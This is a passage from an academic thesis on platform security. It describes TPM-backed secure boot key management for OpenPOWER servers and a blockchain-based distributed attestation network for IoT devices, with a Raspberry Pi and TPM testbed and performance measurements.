non-volatile memory. Lockable, in this context, refers to the ability of a memory
architecture to control and prevent read and write access to arbitrary sections. This
means any boot software loaded into flash could be maliciously modified. Further, as
specified by UEFI, secure boot requires some means of locking the storage for keys
and databases. So, the challenge was to design a proper secure boot protocol using
insecure flash memory. For this, I designed a process by which keys could be stored
in modifiable (non-locking) flash memory, but with support from a TPM could detect
any unintended modifications to the keystore and prevent booting unwanted software.
The only storage location usable in the pre-boot environment was the PNOR memory,
which is inherently untrusted. The first challenge was to decide where to put sensitive,
security-critical key material. Unable to make architectural changes, the natural
conclusion was to utilize the TPM already present within the system. Unfortunately,
while an RTS, TPMs have very limited storage capacity. The design decision was
made to place the sensitive key material in unprotected PNOR, but to integrity-
protect that data with a cryptographic hash stored within the TPM’s NVRAM. Just
like secure boot requires each stage to validate the next, before using OS-domain
secure boot information stored in the PNOR, an integrity check must be confirmed.
The next challenge to address was what to store in the PNOR. In some sense, a
large server manufactured by IBM, running IBM firmware, and an IBM-built Linux
kernel would require only one key or hash to validate. However, that would place
IBM in a similar position to Microsoft with the Windows secure boot scandal. The
efforts of the OpenPOWER consortium were toward a more open environment. For
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example, the licensing of hardware designs meant that multiple ODMs might produce
OpenPOWER systems. Additionally, multiple firmware and OS vendors might have
an interest in customizing firmware or software distributions for these very systems.
A third concern was for international sales. As mentioned in Chapter 2, nations
around the world maintain a variety of cybersecurity requirements and regulations,
especially when it concerns device security and cryptography. Therefore, in an effort
to remain familiar, standard, and flexible, I chose to emulate the UEFI key hierarchy,
as closely as possible. As shown in Table 3.2, there is a root platform key (PK), multiple
intermediate key-exchange keys (KEKs), as well as white- and blacklist databases (db
and dbx respectively). This hierarchy facilitates three OS-domain scenarios:
• the installation of OS kernel or hypervisor keys during manufacturing by an
ODM,
• a platform owner who wishes to install standard distro keys, e.g., Ubuntu or
Fedora, or
• a platform owner who wishes to build and sign their own OS kernel or hypervi-
sor.
Again for simplicity and standardization, the keys for the OS-domain secure boot
are implemented as RSA-2048 keypairs, with the public keys used for signature ver-
ification stored in X.509 certificates. Additionally, all of the hashes used for db or
dbx are SHA-512. TianoCore is an open-source implementation of UEFI. The cur-
rent OpenPOWER OS-domain secure boot implementation relies on several tools
and formats borrowed or derived from Tianocore. Specifically, certificates containing
keys and hashes are stored in a standard EFI Signature List (ESL). Additionally, the
EFI_VARIABLE_AUTHENTICATION_2 format is used to encapsulate signed key updates.
This is shown in Figure 3.6. The use of these formats means that standard open-
source UEFI tools for managing EFI variables, such as those provided by efitools,
can be easily adapted to work with OpenPOWER secure boot variables. For example,
the tools cert-to-efi-sig-list, sign-efi-sig-list, and hash-to-efi-sig-list
have been ported to a new secvartools for POWER.
3.4.1 OS Secure Boot Key Management
Key management, imperative for any cryptosystem, is concerned with the genera-
tion, storage, use, destruction, and replacement of cryptographic keys. As shown in























































Figure 3.6: OpenPOWER secure boot signed update format. The update command
contains the authentication information and EFI signature list necessary to validate
and process new updates.
bootloader, and firmware. End-users must be able to generate, store, and destroy
or revoke keys. The bootloader will be responsible for providing a user interface for
interacting with keys and using the key material to verify an OS kernel or hypervisor.
At the bottom layer, the firmware is responsible for storing and verifying keys.
User Interface. Because the bootloader for OpenPOWER is Petitboot, a regular
Linux application, we can rely on standard user interfaces. As mentioned earlier,
OPAL produces a device tree that lists the configuration of a system. This exposes
a read-only interface to the secure boot variables, i.e., keys. Additionally, a sysfs


























Figure 3.7: OpenPOWER key management architecture and interfaces. Storage is
limited to the PNOR and protected by the TPM NVRAM. Skiboot contains a backend
to manage storage interaction with the in-memory cache. Petitboot performs the
























































Figure 3.8: POWER8 secure boot storage layout. PNOR is divided into two staging
areas containing the KEKs and signature databases (db and dbx). The TPM contains
the hashes necessary to verify the integrity of the PNOR, along with metadata bits
to control key management.
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Bootloader-Firmware Interface. A standard Linux kernel driver, secvar_op-
erations, is available for OpenPOWER platforms. This driver acts as the broker
between the sysfs user-interface and the Skiboot (firmware) that implements an
OPAL API with get(), get_next(), and set() functionality.
Storage Interface. The storage layout I designed is depicted in Figure 3.8. The
root key of the OS-domain secure boot is the PK. As the highest security authority,
and control over all sub-keys, this key is stored within the TPM NVRAM. The KEK
database, as well as the db and dbx databases, are stored in ESLs within the PNOR.
To integrity protect the PNOR-stored data, hashes are taken over the ESLs and stored
within the TPM NVRAM. There are two keystore partitions within the PNOR, the
primary and a shadow copy, or active and staged banks. As we will see later, this
bifurcation facilitates keystore updates and rollback of prior keys. During runtime,
the keystore is made available via an in-memory cache through Skiboot and OPAL.
TPM support is achieved with Kenneth Goldman’s TSS, and the mbedtls library is
used to provide cryptographic support.
Key Updates. The key update process is shown in Figure 3.9. The presence of
a PK defines whether the OS-domain secure boot mode is enabled. If a PK is not
present, the secure boot mode is disabled. Key updates are processed using the format
shown previously in Figure 3.6. Signatures are verified and new ESLs added to the
active in-memory cache. Hashes of update keys are stored in the TPM NVRAM. Then
the PNOR is written. Finally, the TPM’s non-volatile indices are write-locked with
platform authorization. This whole process occurs before Petitboot to avoid exposing
the TPM to network interfaces, file systems, shells, or other user-mode code. A cold
boot is required to unlock the TPM and process keystore updates.
Key Usage. Once the keystore has been populated and the TPM indices write-
locked, the Skiboot kernel can load the keystore into the in-memory cache prior to
Petitboot. Via OPAL API calls, the Linux kernel under Petitboot can load the db and
dbx databases into platform and blacklist keyrings, respectively. At this point,
the standard Linux Integrity Measurement Architecture (IMA) can be used with
Petitboot to check the blacklist database and verify the host OS kernel or hypervisor
image signature.
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Figure 3.9: OpenPOWER keystore update process. Similar to the UEFI process, PK
and KEKs are verified with the existing PK. Updates to the signature databases are
linked to KEK signatures. After updates are processed, new hashes are written to
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Figure 3.10: OpenPOWER OS-domain secure boot process. Similar to UEFI, the
process validates signatures and hashes prior to executing the end-user OS kernel or
hypervisor.
Key Destruction and Rotation. To rotate keys, a new key is generated with a
signed ESL file. The old key is deleted and submitted as an update. Finally, a signed
update command can instantiate the new key. To delete or destroy a key or hash
requires a signed, but empty update package. If a PK is lost, corrupted, or revoked,
physical presence is required to clear the keystore. Additionally, the PK and keystore
are invalidated whenever any keys below the OS-domain are changed.
OS-domain Secure Boot Process. The final secure boot process for the OS-
domain is shown in Figure 3.10. During the setup, installation, and update phases,
the TPM is unlocked. This takes place prior to Petitboot. After the TPM is locked,
the keystore is loaded into an in-memory cache and exposed via sysfs for use by
Petitboot and IMA in verifying the end-user OS kernel or hypervisor.
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3.5 Conclusions
Like large servers, IoT devices (when deployed in certain industries, e.g., energy
distribution) are likely to be long-lived. However, due to their size and inconspicuous
nature, these devices are more likely to be forgotten and unmanaged. Leaving these
devices neglected and unpatched presents a potential security problem. IoT devices
need to boot securely. We need to be able to trust that on power-failures and reboots,
the devices “come back” in a correct state: running the proper firmware and software.
There will be a lot of these devices. They will be placed in industrial settings and
may be expected to run unsupervised and unpatched for years. The physical controls
and protections on these devices vary widely. They represent an enticing vector for
entering a corporate network, or simply causing havoc. Providing a secure boot
mechanism for such devices is vital to prevent such exploits.
The work presented in this chapter has focused on securely booting large, conventional
server systems. However, the early pre-boot environment is mostly agnostic to a
device’s architecture. Whether the boot process occurs on a massive, commercial
server or a small embedded system, the process has primarily standardized according
to BIOS and UEFI standards. Additionally, the capabilities available during early
execution phases are typically minimal. Thus, the pre-boot environment levels the
playing field for security measures.
The boot architecture implementation described in this chapter would not be a drop-
in replacement for embedded, IoT-specific devices. However, the lessons learned in
designing and constructing a boot process that relies on external or peripheral secure
storage are crucial. In many IoT settings, devices will continue to be purpose-built
with fixed-functionality, i.e., MCU-based devices with ROM-only storage. In this
case, upgradability is not a primary concern. Unfortunately, this also introduces the
economic and ecological issues related to “disposable” devices.
The general trend for all of computing has been a slow but steady drive toward more
general-purpose platforms. In combination with the long-lived nature of these devices,
upgrading and patching firmware and software will be essential. Secure boot plays





Trusted Computing has been a standard in more traditional computing environments
for years. A key tenant in trusted computing is the expectation of consistent behavior
from compute devices. Attestation is one mechanism for satisfying such expectations
remotely by providing verifiable evidence tied to a device’s hardware, firmware, or
software. The IoT’s often purpose-built, simple sensors and controls would seem a per-
fect application for such concepts given the desire for long-running, fixed-functionality,
minimally-managed, and autonomous operations.
One of the key economic factors in IoT adoption is the promise of a multitude of
diverse, connected things interacting autonomously to provide services, convenience,
and efficiency at scale. Here we take particular interest in the potential for het-
erogeneous networks of devices that may interact beyond the traditional borders of
organizations or entities. For example, an energy delivery system (EDS) of grid op-
erators, consumers, and Federal regulators creates, in effect, a network of coopetition,
or cooperative competition. Each party is required to trust the devices (sensors, con-
trols, and smart meters) operating within the network; however, security interests
and incentives may be lacking or wholly unaligned.
In this chapter, we consider the problems of trust and device management for such
resource-constrained IoT systems. We propose a Distributed Attestation Network
(DAN) that relies on blockchain technologies to store and distribute device infor-
mation. We present a virtualized simulation of a DAN, and a prototype system of
IoT-analogues using a network of Raspberry Pi, Infineon TPMs, and a Hyperledger
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Fabric blockchain. We discuss the implications and potential challenges of such a
network, as well as various applications such as identity management, intrusion de-
tection, forensic audits, and regulatory certification.
The remainder of this chapter is organized as follows: Section 4.2 reviews attesta-
tion and blockchain technologies. Section 4.3 introduces our distributed attestation
network. Section 4.4 discusses our implementation. Section 4.5 presents quantitative
and qualitative analysis. Section 4.6 discusses general network feasibility. Section 4.7
considers works related. We present our concluding thoughts in Section 4.8.
4.2 Background
In this section, we provide relevant background on trusted computing, specifically
attestation, and blockchain technologies.
4.2.1 Trusted Computing
As introduced in Sections 2.4 and 3.2.4, the trusted platform module has been used
for decades now to secure conventional computing platforms. Recently, the TCG
announced an IoT-centric TPM specification that aims to reduce these factors and
ultimately provide a “tiny TPM... (that) can be integrated directly within the host
chips” [285]. While typical TPM implementations are small and relatively cheap, they
still represent undesirable overhead for many IoT vendors, with added cost, space,
and power considerations. Other proposals seek a more light-weight solution, with
no TPM and minimal hardware capabilities, such as SMART [77], SANCUS [203],
Intel’s TrustLite [163], and self-protecting modules (SPMs) [274]. For devices that
lack the necessary hardware support, especially legacy devices, there have been several
proposals for software-based attestation [176,210,252,253,254,268]. Regardless, TPMs
have found success in a wide range of applications.
Using this special hardware, the TCG also promoted the concept of remote attestation.
The TPM provides a hardware root of trust for attestation. Attestation is the process
by which the evidence, as mentioned earlier, is requested and supplied. While certain
definitions are often tied to specific use-cases, we prefer this more general and flexible
definition of attestation. Figure 4.1 depicts a standard attestation architecture.
In general, a potentially untrusted prover or target device attests, or provides evi-




























Figure 4.1: An attestation architecture. The challenger generates a nonce and invokes
the attestation process on the platform. This nonce is used by the TPM to produce
a signed quote which can be verified by the challenger.
consist of hashes, checksums, or computational results linked to hardware, firmware,
or software configurations or properties of the prover’s current state. For example,
a common application has been software integrity checks initiated by a challenge-
response protocol and secured using public key infrastructure (PKI). Immediately,
the question arises as to why one would trust the provided evidence? A standard
solution, as proposed by the TCG, is for the verifier to assume the existence of a
trusted component on the prover. This root of trust or trust anchor is typically a
TPM with various trusted cryptographic keys and functionality.
Traditionally attestation has been static, with a focus on measured binaries and disk
images [237]. One disadvantage to these techniques is the assumption that a program
on disk or in memory is executing as intended. However, thanks to ever-present
buffer overflows and more recent return-oriented programming (ROP) attacks, these
assumptions cannot hold. More recent work has focused on dynamic attestation which
seeks to verify runtime integrity [2, 68,312].
4.2.2 Blockchain
Commonly, attestation is performed in an ad hoc manner. In response to a challenge,
the prover generates and sends the requested information. Even when attestations
are made periodically, trust decisions, on the part of the verifier, are usually made
based on the most contemporaneous evidence. However, knowing a device is currently
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trusted, by all best evidence, tells one little about its prior states. Given the desired
longevity of IoT devices, historicity is essential.
When considering a data storage solution for a heterogeneous, multi-organization IoT
attestation network, it should be distributed and decentralized. Given the potential
for mutual-distrust, each member should be a party to storing the attested data. A
further requirement is that transactions amongst the network must be immutable,
transparent, and secure. Haber and Stornetta appear to be the first to describe
a tamper-resistant process for cryptographically linking distinct data, in their case
timestamps [109], in such a way as to make future forgeries and retroactive changes
infeasible and evident. In the seminal Bitcoin work, the pseudonymous Nakamoto
introduced a timestamp server that linked items (transactions) into a cryptographi-
cally secure chain of blocks [196]. Driven by the explosion of popularity of Bitcoin,
research into the underlying technology, this blockchain, soon recognized applications
beyond cryptocurrencies [289].
Blockchain is a cryptographically secure, decentralized distributed ledger. Distributed
amongst a network of computers, this shared ledger contains synchronized data that
is cryptographically signed and hash-chained to create a secure, verifiable audit of
all transactions. Blockchains are decentralized in peer-to-peer (P2P) networks, with
each peer maintaining the replicated ledger. Blockchains may be public or private
(permissioned), with varying degrees of access controls within the ledger. Blocks
contain the synchronized data and may be created concurrently by peers, creating the
potential for fragmentation and divergent histories within the chain. Therefore, block
inclusion must be achieved through a consensus protocol amongst the participating
peers, e.g., Bitcoin’s reliance on proof-of-work.
We chose a Hyperledger Fabric, version 1.4, blockchain implementation for our proof-
of-concept DAN. Hyperledger is an open-source, collaborative project to facilitate
and encourage cross-industry blockchain technologies [279]. Fabric is a modular
and extensible open-source framework for building and deploying permissioned block-
chains [17, 47]. Fabric allows flexible, plug-and-play services for key blockchain func-
tionality, such as membership, cryptography, and consensus. Additionally, Fabric
allows distributed applications written in general-purpose programming languages,
such as Go, Java, and Node.js.
In contrast to other blockchain architectures that rely on transaction ordering prior
to execution, Fabric uses an execute-order-validate architecture, the first of its kind.
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Smart contracts supply application logic during the execution phase and are executed
on peer nodes within a container environment for isolation. An ordering service
receives endorsed (consensus) transaction outputs and totally orders them before
being broadcasting to peers for validation. In Fabric, an ordering service may be
associated with multiple blockchains in channels. Peers maintain a local copy of the
ledger as an append-only blockchain.
One of the primary features of DAN is the assimilation of attestation into the blockchain.
This integration is achieved through smart contracts, or chaincode in Hyperledger.
According to Szabo, smart contracts “combine protocols with user interfaces to formal-
ize and secure relationships” [276]. In the context of Hyperledger, chaincode defines
the interface to and access controls for the underlying ledger. In this way, read (query)
and write (update) access to channels is programmatically controlled, with execution
isolated in a secured and separate container from a peer’s endorsement (consensus)
logic. This feature of Fabric allows an additional layer of security by separating the
infrastructure of the underlying blockchain from the business-logic of the chaincode.
For example, an attestation application would need to define a priori the structure
and access controls associated with submitting and viewing attestations.
4.2.3 IoT Challenges
Attesting all IoT devices is infeasible. The scale alone, of billions of individual devices,
makes the idea impractical. However, one might consider instead just attesting the
devices within a single deployment. Typical IoT deployments might be as small as
dozens of devices in a “smart home” to tens of thousands of sensors in industrial
settings. Managing these networks will still be hard given the heterogeneous nature
of IoT devices and the fragmentation within the market.
Many IoT devices contain batteries for their operation or as a backup to external
power. Given the relative efficiency of some of these low-power devices, it is feasible
that restarts and power interruptions may be rare. Consequently, static methods such
as boot or load-time attestation are clearly not enough.
In addition, many IoT devices are envisioned to be long-running, in a “set it and
forget it” manner. This means firmware and software may operate well beyond their
intended lifespan. Further, the evidence clearly shows that long-lived, undisclosed,
zero-day vulnerabilities are not a myth [53].
Understanding which devices are operating within a network, what software is running
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on those devices, and how that software is behaving is critical to IoT security and
trust. In fact, there are growing regulatory constraints on these networks and devices
given their often privileged access to data and control of our physical world [1, 272].
4.3 Distributed Attestation via Blockchain
In this section, we define our system and threat model assumptions, detail the ar-
chitecture of our Distributed Attestation Network (DAN), and discuss potential use
cases.
4.3.1 System Model
We consider a heterogeneous network of IoT-like devices that may be resource-const-
rained in power consumption, computational ability, communication frequency and
reliability, and storage capacity. We assume a dense network such that each network
node has multiple immediate neighbors, and all nodes are free to logically commu-
nicate (although this may require intermediate physical hops, such as in a mesh
network). Additionally, we allow that nodes within this network may be under the
authority and control of diverse, cooperative, but mutually competitive or distrusting
organizations or entities. Finally, we assume that the devices on the network that
will participate in attestation must have some root of trust or trust anchor.
Requirements. As described by Coker et al. [55], an ideal attestation architecture
should satisfy five (5) principles: information should be (1) fresh and (2) comprehen-
sive with (3) constrained disclosure and (4) semantic explicitness, all backed by (5)
trustworthy mechanisms.
4.3.2 Threat Model
The adversary or attacker may be passive or active. We consider primarily an ad-
versary that may introduce malware into a (small) fraction of devices over a given
time period. Additionally, the adversary may introduce new devices into the net-
work environment and supply malicious inputs to public interfaces. As is standard in




















Figure 4.2: A DAN organizational chart. Two organizations are featured, each with
multiple networked nodes, and a shared blockchain.
4.3.3 System Design
Our distributed attestation network is a generic and flexible attestation architecture.
DAN does not specify the attestation protocols, or define the data and properties
of interest, or limit the actors and relationships involved. We believe DAN is the
first such architecture to utilize blockchain as more than simple distributed
storage, but as a prime actor in an attestation protocol .
An example organization chart is shown in Figure 4.2. As shown, there are two
organizations involved in this sample network. Each organization maintains a number
of nodes, {n11, n12, n13} for Org1 and {n21, n22, n23} for Org2. Additionally, each
organization maintains a number of peer nodes, {p1} in Org1 and {p2} in Org2. Peer
nodes will be discussed in more detail below. As mentioned previously, we assume
that nodes within the network are free to communicate amongst themselves, even
across organizations. For example, node n11 might communicate with nodes n13 and
n22.
Peer nodes here represent those nodes with access to the blockchain ledger. A network
may have one or many peer nodes with which a single node can communicate. In
the case of traditional computers, every node in a network might be a peer; however,



































Figure 4.3: Example challenge-response protocol within a DAN. The consumer ini-
tiates attestation. The producer submits attested information to the blockchain. A
validator submits validation to the blockchain. The consumer awaits validation, and
finally makes a trust decision.
the blockchain management to an intermediate and more powerful node, for example,
a gateway or base station. This, of course, introduces additional security concerns,
which we discuss later in Section 4.6.
A goal of DAN is for the individual nodes within the network to be attested. This is
accomplished by nodes called producers submitting attestations into the blockchain.
This may be the result of a challenge-response attestation protocol involving another
node in the network. This approach may leave the door open for an adversary to
submit many challenges and monopolize the resources of a device via computing
attestations. However, we do not consider DOS attacks in this work. Alternatively,
attestations may simply be submitted to the blockchain on a periodic and autonomous
schedule.
Once attestations are present within the blockchain, other nodes within the network,
so-called validators, can evaluate the attested information. The results of such val-
idation are then included in the blockchain, linking a producer and validator with
a timestamped and immutable record of attestation. The final node type within a
DAN is the consumers. Consumer nodes want to interact with producer nodes; how-
ever, there may be (rightfully so) distrust in this transaction. Consumers rely on
the validated attestations within the blockchain to formulate trust decisions about
producers. Thus decoupling the trust relationship between producer and consumer.
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Figure 4.3 depicts this simple scenario. It is critical that for all data read from the
blockchain, integrity and authenticity must be verified prior to being trusted.
Individual nodes within the network may fulfill a variety of roles. For example, pro-
ducer nodes may, in fact, be validating nodes for specific neighbors. And indeed,
a producer node may also be a consumer of other producing nodes. This sort of
network aligns nicely with the envisioned IoT, where devices may perform multiple
tasks, which in turn depend upon the services of other network devices. Consider,
for example, the previously mentioned EDS network comprising grid operators, con-
sumers, and Federal regulators. Grid operators may manage a variety of sensors,
controls, and smart meters within their network. An individual consumer may have a
variety of “smart” things attached to the network, such as meters, backup generators,
and alternative energy production mechanisms. Regulatory officials, while not oper-
ating network nodes themselves, have direct interests in validating and monitoring
compliance of such critical infrastructure. In this scenario, all parties rely on the
proper functioning of the network nodes; however, consumers are incentivized to use
more energy than they pay for, grid operators are incentivized to “check-off” compli-
ance boxes with minimal expenditure on overhead and liability, and regulators are
responsible to society-at-large for enforcing the national security and reliability of the
grid.
With a DAN, the devices within the network can be attested in a semi-public fash-
ion, i.e., to those directly involved in the network. Grid operators may be context-
dependent producers, consumers, and validators. Service consumers may act as both
producers and consumers. Instead of relying on grid operators to self-report, or the
overhead of human resources to manually verifying the compliant operation of these
devices, regulators can now query the devices themselves. In this case, regulators
may act as validators, having direct knowledge of the hardware, firmware, or software
deployed, or at least the relevant security properties of interest. Some consumers,
additionally, may derive trust from such government oversight; however, building a
more diverse trust portfolio for this example might involve the inclusion of original
equipment manufacturers (OEMs), distributors, or contractors. In this way, trust




DAN architecture facilitates a variety of current use cases and opens the door to many
other potential scenarios.
Authentication and Identity Management. In heterogeneous IoT networks, device
identity is crucial for security. Standard solutions might involve MAC or IP address
whitelisting, behavioral and environmental analysis, or challenge-response protocols
using PKI. More robust methods would rely on a root of trust, whether hardware-
based like TPMs and physically unclonable functions (PUFs) or hybrid architecture-
based methods like TEEs. Many proposals already exist for linking identity and
blockchain, e.g., [140,206]. Most of these efforts focus on permissionless blockchains;
however, our concern has been with those inter-organizational applications that al-
ready rely on some business relationships. Part of Hyperledger’s Fabric is its cus-
tomizable membership services that allow the permissioned blockchain and various
access controls for both data and chaincode. By default, Fabric itself already contains
the identity information in the form of traditional CAs and PKI, but could easily be
extended with roots of trust on peers and participating nodes.
Intrusion Detection. Various methods of intrusion detection exist, from simple iden-
tity authentication to behavioral analysis and anomaly detection mechanisms. With
this data stored within the blockchain, and accessible to network participants, dy-
namic trust decisions can be made autonomously based on heuristic algorithms and
the preponderance of the evidence. Consider a network in which devices attest to their
static and dynamic execution, and neighboring devices record anomalous behavior.
Suppose an attacker subverts some small subset of devices that begin participating
in a DDOS attack against other nodes in the network or even remotely. Observation
and attestation of this behavior by the rest of the network might quickly result in the
isolation of the compromised devices.
Post-event Forensic Audits. It is often challenging for an average computer user, when
presented with a vulnerability disclosure, to understand their risk on personal devices
effectively. For example, even with my own experience with computer technology and
security, understanding the personal risk associated with the Heartbleed vulnerability
was non-trivial. At the scale of IoT deployments, even the best IT professionals
can be expected to struggle given the diversity of devices, firmware, and software.
While typical attestation systems are ad hoc and transactional, including attestation
within a blockchain can potentially create a historical record, within the ledger, of
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a device’s entire lifecycle. This allows for not only managing software deployments
(e.g., knowing which version of OpenSSH is on what devices), but would also enable
forensic audits of a device’s history. Consider an attestation system that utilizes
DAN, that records identity, deployed software and firmware, dynamic attestation, and
external behavioral analysis and anomaly detection. After a vulnerability disclosure,
it becomes not only easy to identify potentially vulnerable devices, but also when
they became exposed, how long they have been weak, and what—if any—questionable
actions they may have taken during that time. In addition, a DAN’s flexibility with
smart contracts means that much of this might be automated.
Regulatory Certification. The cargo cult1 mindset of computer security is inadequate
for the challenges of tomorrow. However, regulatory compliance is a fact of life.
NIST is formulating what could be the beginning of just such regulations [81]. In
“Considerations for Managing IoT Cybersecurity and Privacy Risks”, NIST considers
three goals: (1) device security, (2) data security, and (3) individual privacy [40].
Asset, vulnerability, and access management are listed as areas of risk mitigation. As
seen above, DAN facilitates each of these areas, in addition to the areas of incident
detection and information flow management.
Further, consider the scenario in which regulators are participants within a DAN and
able to verify desired principles and functionality based on the verified self-reporting
of the devices themselves. For example, consider a piece of critical infrastructure
equipment that contains the necessary roots of trust and can attest to a DAN. It
is plausible that regulators, security auditors, or liability insurers might have cer-
tain criteria for security, e.g., hardware with specific features enabled or “up-to-date”
firmware and software versions. These entities may be tasked with certifying com-
pliance; however, they may not have the expertise or best knowledge to make these
determinations adequately. The hardware manufacturer knows best what capabilities
a device has. Firmware and software vendors (should) know best the specifications
of their products. Third-party security-related groups might be more current on
state-of-the-art vulnerabilities. By including these external parties into a DAN, those
entities in charge of compliance gain a broader, more diverse source of ground-truth
upon which to base their own certifications.
1The term cargo cult refers to an ineffectual focus on form without function. It originally referred
to indigenous religions that sprouted up in the South Pacific after World War II. These cults would
superstitiously build elaborate, but fake airports with runways and lights in the hopes of attracting
the military cargo planes so prevalent during the war. Richard Feynman popularized its use when
referencing the lack of integrity in certain scientific practices [85,86].
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4.4 Implementation
In this section, we discuss implementation details and describe our work simulating
a proof-of-concept DAN and a testbed using IoT-analogue devices.
We began with a virtualized simulation of a DAN using only Docker containers. This
was primarily to familiarize ourselves with the Fabric framework, and to experiment
with storing and retrieving attestation data quickly. In this simulation, we utilized
one node for each producer, consumer, and validator. Additionally, we relied on a
single peer node for blockchain interactions, including membership services, trans-
action ordering, and endorsement. In our initial implementation, we followed the
example challenge-response protocol shown in Figure 4.3. Attestation and validation
were triggered manually. In this case, we did not rely on a TCB but assumed the
attestations reported were valid. For attestation data, we simulated TPM quotes by
generating random measurement lists and calculating hashes for “known good” states.
For these trials, we ignored PKI and signatures on the attested data.
To extend our prototype, we built a practical testbed, implementing a DAN using
eight Raspberry Pi, models 2B and 3B+, as our IoT nodes. The Pi has become
synonymous with IoT research and development. They are low-cost ($35), credit-
card sized, relatively robust, and highly expandable. The model 2B has a Broadcom
BCM2837 system on a chip (SoC) with a 900 MHz Quad-Core ARMv8-A Cortex-
A53 CPU. The 3B+ sports a slightly beefier Broadcom BCM2837B0 SoC with a 1.4
GHz Quad-Core ARMv8-A Cortex-A53 CPU, with the addition of on-board WiFi
and Power-over-Ethernet (PoE). Both systems have 5V and 3.3V power supplies and
support 40 general-purpose input/output (GPIO) pins with UART, I2C, SPI, and
I2S functionality. This flexibility has led to a large number of add-on boards and
peripherals. To provide our TCB, we used Infineon Optiga SLB 9670 TPM2.0 iridium
boards that are TCG compliant and fully CC(EAL4+) and FIPS 140-2 level 2 certified.
These boards communicate over SPI using Infineon’s Embedded Linux TPM Toolbox
2 (ELTT2).
We set up two “organizations” each with three compute nodes and a single gateway
node. Recall Figure 4.2. Each organization was assigned a blockchain peer that
ran inside a Docker container on a consumer laptop or desktop. The same protocol
transactions were tested for consistency. Our simulated attestations were produced
from random measurement lists that were hashed into the TPM PCRs and read out
again. Again, for these trials, we ignored PKI and signatures on the attested data.
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Producer nodes were scripted to “ping” consumers at regular intervals. Attestations
of the producer nodes were submitted to the blockchain periodically. Additionally,
random groups of validators were chosen to verify attestations. We tested several
scenarios in which consumers required single and multiple validators to sign off on at-
testation. Trust decisions by consumers were made on varying aggregate validations,
e.g., certain consumers only trust specific validators, or require multiple validations,
or require more fresh validation. On a failed validation, consumers would instantiate
an iptables firewall rule to DROP traffic from the abusing producer. Manual triggers
were used to introduce potential errors such as to interrupt or delay attestations
from a producer, force-submit invalid attestations into the blockchain, or interrupt
validators from reading attestations or writing their results.
4.5 Evaluation
Primary concerns for IoT attestation are the cryptographic and blockchain operations
on resource-constrained devices. We consider the feasibility of the proof-of-concept
attestation scheme by analyzing the potential performance impacts of computation,
communication, storage, and energy overheads. In our testbed DAN, the TPM must
generate hashes over static measurement lists. To isolate this computation, we per-
formed a comparison between SHA1 and SHA256 hashing on various randomized
payloads ranging from 1 to 100 bytes. Each test was repeated 1000 times.
4.5.1 Quantitative Analysis
Computation Overhead: Naturally, the Infineon TPM requires less CPU time,
but is roughly twice as slow (in system time) as the Raspberry Pi on any payload
size. These results are shown for both SHA1 and SHA256 in Figures 4.4 and 4.5. On
average, the wall-clock time to complete these tests required 54 seconds on the TPM
and only 17 seconds on the Pi. These results were expected given the TPM’s 43Mhz
transfer rate on the SPI interface and the relative power of the Raspberry Pi.
Communication Overhead: Communication within the DAN is ad hoc. A proving
device need only attest periodically or when requested. Additionally, verifiers and
consumers primarily communicate with blockchain peers. In our conception, these
peers are somewhat more robust than the IoT devices on the edge of the network.
Thus, communication is primarily limited by the throughput of the blockchain peers,
as well as the bandwidth and latency of the network. For our proof-of-concept, these
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Figure 4.4: Timing of SHA1 hashing on Infineon TPM and Raspberry Pi 3B+. The
TPM is much slower on all workloads.
factors were negligible; however, more testing should be done to evaluate the scaling
limits of a representative network.
Storage Overhead: Because our proof-of-concept is simple and relies on Raspberry
Pi, storage is not a real concern. Each entity within the network needs only the
credentials to interact with the blockchain peers. More advanced attestation schemes
may require more storage; however, proving devices need only enough room to gener-
ate attestation since all the protocol data elements are stored within the blockchain
on peer nodes. Additionally, it is worth mentioning that by adding a physical TPM,
a device gains access to some additional NVRAM (in the case of our Infineon TPM,
6962 bytes).
Energy Overhead: During the hashing experiments mentioned above, we also mon-
itored the power usage with the combination of a consumer-grade wall-outlet electric-
ity usage monitor and multimeter. The average power consumption for SHA1 and
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Figure 4.5: Timing of SHA256 hashing on Infineon TPM and Raspberry Pi 3B+. The
TPM is much slower on all workloads.
SHA256 experiments are shown in Figures 4.6 and 4.7. While these measurements
may lack resolution, their relative comparison is instructive. On average, the Rasp-
berry Pi requires 10% more power than the TPM during hashing. Additionally, at
peak load, the Pi draws 5% more power based on watt calculation. These results sug-
gest that even though the Pi powers the TPM when performing these cryptographic
operations, the TPM is more efficient. Further experiments are required to eliminate
the potential effects of power supply inefficiency.
4.5.2 Qualitative Analysis
In building our proofs of concept, we learned several things. We address some of these
questions below.
What are the necessary hardware requirements and are they feasible given IoT resource
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Figure 4.6: Average power consumption during SHA1 hashing on Infineon TPM and
Raspberry Pi 3B+. The TPM is slightly more efficient during cryptographic opera-
tions.
constraints? In general, attestation requires some root of trust. Hardware roots of
trust typically provide more robust security guarantees; although, they do come with
a price. However, given the TCG’s latest proposals, and the growing research interests
in Trusted Execution Environments, these hardware roots of trust will only become
more practical.
A major IoT constraint is often power, with many devices relying on batteries. Adding
a hardware root of trust, such as the Infineon TPMs we used in our proof of con-
cept, represents a design decision. While TPMs are relatively efficient, with hardware
implementations of things like SHA-1 and SHA-256, they do represent an additional
draw on a small device. Using TEEs as a root of trust may be more efficient. In the
future, we’d like to compare the power draw during frequent attestation and crypto-
graphic operations between our hardware TPMs and SGX or TrustZone. However,
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Figure 4.7: Average power consumption during SHA256 hashing on Infineon TPM
and Raspberry Pi 3B+. The TPM is slightly more efficient during cryptographic
operations.
any attestation represents additional overhead. For some applications, runtime attes-
tation may be unnecessary. Attestation may only be needed occasionally, with long
(e.g., days) periods between successive attempts. Hardware roots of trust will only
become more efficient and smaller over time. Alternatively, some applications may
only need the security guarantees of a software-based attestation method.
Is this sort of network efficient given the general concerns about proof-of-work block-
chains? The Hyperledger Fabric that we have utilized is modular and allows pluggable
consensus mechanisms. By default, our testbed uses a Solo ordering service; however,
implementations for both Raft and Kafka are available for Crash Fault Tolerance
(CFT) production networks.
Can the network nodes, as we’ve described them here, support blockchain operations
efficiently? In the proof of concept that we built, blockchain operations are performed
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by peer nodes within docker containers on consumer laptops and desktops. In a
real-world deployment, these may remain containerized and be virtualized within
the cloud. Alternatively, there are current efforts to build so-called “light clients”
that may allow resource-constrained IoT devices to interact individually with the
blockchain as peers [209]. However, storage will remain a problem. It may be feasible
to move blockchain storage to an intermediate device like a gateway or base station,
further into a data center, or even the cloud. Each of these scenarios represents
differing threat models. For example, placing data and components of the network
into the cloud introduces questions about tampering, isolation, and management
